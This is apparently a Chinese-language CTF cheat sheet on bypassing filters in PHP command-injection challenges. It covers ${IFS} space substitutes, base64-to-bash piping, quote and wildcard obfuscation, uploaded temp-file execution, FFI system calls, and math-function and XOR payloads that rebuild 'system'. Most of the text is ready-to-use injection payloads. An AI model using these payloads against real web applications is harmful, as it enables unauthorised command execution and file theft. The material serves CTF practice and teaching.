重新对CTF中常见的命令执行绕过小技巧做了一个归纳总结
常见的系统命令执行函数
1 | system() |
这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
管道符&通配符
windows 下
|
直接执行后面的语句||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&
前面和后面命令都要执行,无论前面真假&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;
前面和后面命令都要执行,无论前面真假|
直接执行后面的语句||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&
前面和后面命令都要执行,无论前面真假&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
在linux系统中 有一些通配符
- 匹配任何字符串/文本,包括空字符串;
*
代表任意字符(0个或多个)?
匹配任何一个字符(不在括号内时)?代表任意1个字符- [abcd] 匹配abcd中任何一个字符
- [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
空格绕过
>
<
<>
重定向符%09
(需要php环境)${IFS}
$IFS$9
{cat,flag.php}
//用逗号实现了空格功能%20
%09
黑名单绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''
$1、$2等和$@
1 | $# 是传给脚本的参数个数 |
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
括号被过滤
内敛执行
cat$IFS$9`ls`
cat$IFS$9$(ls)
(内联,就是将``或$()内命令的输出作为输入执行)
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
1 | root@kali:~/桌面# echo "flag{hahaha}" > flag.txt |
\
是指换行ls -t
将文件按时间排序输出sh
命令可以从一个文件中读取命令来执行
bin/
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
/usr/bin目录:
?c=/???/???/????2 ????.??? —》 然后在url + /flag.php.bz2
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
post上传文件进行命令执行
1 |
|
首先构造一个post上传文件的数据包
1 |
|
上传一个php文件,文件内容
1 |
|
注:shell程序必须以”#!/bin/sh”开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
上传抓包
抓包之后添加参数c如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令
注:这里为什么要传参数,以及参数内容为什么是 .%20/???/????????[@-[] ,P神的文章已经写的很详细了
1.php就是我们上传的可控的文件,我们传的参数c的值为 . /bin/phpXXXXXX,意思就是说匹配上传1.php文件所生成的临时文件,并执行之
可以看到flag.php文件,
用cat命令读取文件即可
无参数文件名构造
1 |
|
例如这题,我们需要构造的文件名为36
payload:
1 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
glob遍历文件名
1 | #poc |
mysql的load_file
读文件
1 | try { |
FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
数学函数白名单过滤
1 | ## 过滤模板 题目来源国赛 love_math |
1 | PHP函数: |
数学函数利用
1 | /index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=<command> |
分析
1 | base_convert(37907361743,10,36) => "hex2bin" |
HeaderRCE
getallheaders — 获取全部 HTTP 请求头信息
1 | /index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) |
分析
1 | base_convert(696468,10,36) => "exec" |
异或
1 |
|
在运行结果中找到_GET即可,构造payload
is_nan^64==>_G
tan^15==>ET
1 | /?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag |
Linux中内置的bash变量
1 | 构造nl flag.php |
$PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用获取变量的最后几位,而字母起到的作用是和0相同的,所有${PATH:A}其实就是${PATH:~0}
过滤了path时
1 | 构造 /bin/base64 flag.php |
需要/和4两个字符就行,其他的可以用通配符代替
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}`绕过:
> SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
只需要`${PWD::${SHLVL}}
,结果就是/
还有一个4的问题,可以用${#RANDOM}
,在Linux中,${#xxx}
显示的是这个值的位数,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
1 | 构造 /bin/cat flag.php |
构造/bin/cat flag.php
,需要t和/,${HOME}
默认是/root
,所以需要得到他的最后一个字母,容器的hostname为4个字母,所以${#HOSTNAME}
可以从第5位开始,1还是用${#SHLVL}
代替
过滤了SHLVL时
1 | payload: ${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? |
1 | ## 过滤模板 |
1 | $? |
1 | root@npfs:~# echo ${#?} |
过滤了#和PWD时
1 | >payload: <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
1 | ## 过滤模板 |
PWD过滤了可以用HOME代替,${HOME}
默认是/root
,接下去我们只要再找到1
来代替${#SHLVL}
1 | $? |
fuzz下发现题目没有过滤<
,所以我们利用<A;
报错。从而使$?
返回值为1
例子
1 | > c=highlight_file('config.php'); |
文章中例题多来源于CTFshow web入门板块